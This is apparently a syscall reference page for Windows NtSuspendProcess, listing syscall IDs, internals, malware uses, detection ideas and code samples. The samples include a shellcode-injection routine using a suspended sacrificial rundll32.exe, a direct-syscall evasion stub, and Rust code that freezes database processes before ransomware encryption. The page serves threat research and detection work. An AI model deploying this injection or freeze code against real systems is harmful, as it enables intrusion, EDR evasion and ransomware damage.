> Windows Syscalls
ntoskrnl.exeT1055T1562.001T1106

NtSuspendProcess

Suspends every thread in a target process by incrementing each thread's suspend count.

Prototype

NTSTATUS NtSuspendProcess(
  HANDLE ProcessHandle
);

Arguments

NameTypeDirDescription
ProcessHandleHANDLEinHandle to the process to suspend. Requires PROCESS_SUSPEND_RESUME.

Syscall IDs by Windows version

Windows versionSyscall IDBuild
Win10 15070x19Fwin10-1507
Win10 16070x1A8win10-1607
Win10 17030x1AEwin10-1703
Win10 17090x1B1win10-1709
Win10 18030x1B3win10-1803
Win10 18090x1B4win10-1809
Win10 19030x1B5win10-1903
Win10 19090x1B5win10-1909
Win10 20040x1BBwin10-2004
Win10 20H20x1BBwin10-20h2
Win10 21H10x1BBwin10-21h1
Win10 21H20x1BDwin10-21h2
Win10 22H20x1BDwin10-22h2
Win11 21H20x1C7win11-21h2
Win11 22H20x1CBwin11-22h2
Win11 23H20x1CBwin11-23h2
Win11 24H20x1CEwin11-24h2
Server 20160x1A8winserver-2016
Server 20190x1B4winserver-2019
Server 20220x1C3winserver-2022
Server 20250x1CEwinserver-2025

Kernel module

ntoskrnl.exeNtSuspendProcess

Related APIs

DebugActiveProcessSuspendThreadNtSuspendThreadNtResumeProcessNtOpenProcess

Syscall stub

4C 8B D1            mov r10, rcx
B8 CE 01 00 00      mov eax, 0x1CE
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

NtSuspendProcess is exported from ntdll but is not documented in the public Windows SDK; the Win32 wrapper (`SuspendThread` for every thread) is the supported route. Internally it walks the EPROCESS ThreadListHead and calls KeSuspendThread on each entry, so a per-thread suspend count is maintained — a process suspended N times needs N resumes. The SSN climbs steadily across builds (0x19F → 0x1CE) as new syscalls are inserted in the late part of the SSDT; dynamic resolution is mandatory.

Common malware usage

Best-known use is the Cobalt Strike / BruteRatel **Fork & Run** sacrificial-process model: spawn a benign process (rundll32.exe is canonical) suspended, inject the post-exploitation tool's BOF / object file, run, then terminate or suspend pending exfil. NtSuspendProcess also features in **AV evasion sleeps** — instead of sleeping inside the implant (which leaves the implant scheduled and scannable), the implant suspends a sibling helper process while ETW callbacks fire less frequently. Ransomware uses it before encryption to freeze databases (`sqlservr.exe`, `oracle.exe`, `mongod.exe`) so file handles release and lock files do not block in-place encryption (LockBit, Royal, BlackCat all do this). Lastly, attackers suspend EDR helper / scanner processes that are protected against termination but not against suspension.

Detection opportunities

Telemetry is sparse — there is no Sysmon event for process suspension, and Win32 SuspendThread instrumentation rarely captures all of an EPROCESS's threads in one tick. Useful sources: ETW `Microsoft-Windows-Kernel-Process/ThreadStop`-style state transitions are missing, but `Microsoft-Windows-Kernel-Audit-API-Calls` does cover Nt*Process calls when audit policy enables it. Heuristic: a process with PROCESS_SUSPEND_RESUME handles to non-child processes, especially of security or database images, is suspicious. Pair NtSuspendProcess detection with subsequent NtWriteVirtualMemory + NtResumeProcess in the same caller for high-confidence Fork & Run alerting.

Direct syscall examples

asmx64 direct stub (Win11 24H2)

; Direct syscall stub for NtSuspendProcess (SSN 0x1CE on 24H2/2025)
; SSN climbs every release — resolve dynamically across builds.
NtSuspendProcess PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 1CEh         ; SSN
    syscall
    ret
NtSuspendProcess ENDP

cFork & Run sacrificial spawn

// Sacrificial-process pattern: spawn rundll32.exe suspended, then
// inject and execute a BOF or shellcode inside it. The host implant
// stays clean — only the helper carries the suspicious memory.
#include <windows.h>

typedef NTSTATUS (NTAPI *pNtSuspendProcess)(HANDLE);
typedef NTSTATUS (NTAPI *pNtResumeProcess)(HANDLE);

void ForkAndRun(LPVOID shellcode, SIZE_T shellcode_len) {
    STARTUPINFOW si = { sizeof si };
    PROCESS_INFORMATION pi;
    CreateProcessW(L"C:\\Windows\\System32\\rundll32.exe", NULL, NULL, NULL,
                   FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW,
                   NULL, NULL, &si, &pi);

    PVOID  remote = NULL;
    SIZE_T size = shellcode_len;
    NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
                            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);

    HANDLE hThread = NULL;
    NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, pi.hProcess,
                     remote, NULL, 0, 0, 0, 0, NULL);
    // pi.hThread stays suspended; only the BOF thread runs to completion.
}

rustfreeze DBs before encryption

// Cargo: windows-sys = "0.59"
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_SUSPEND_RESUME};

extern "system" { fn NtSuspendProcess(handle: HANDLE) -> i32; }

pub unsafe fn freeze(pids: &[u32]) {
    for &pid in pids {
        let h = OpenProcess(PROCESS_SUSPEND_RESUME, 0, pid);
        if !h.is_null() { NtSuspendProcess(h); }
    }
}

MITRE ATT&CK mappings

Last verified: 2026-05-20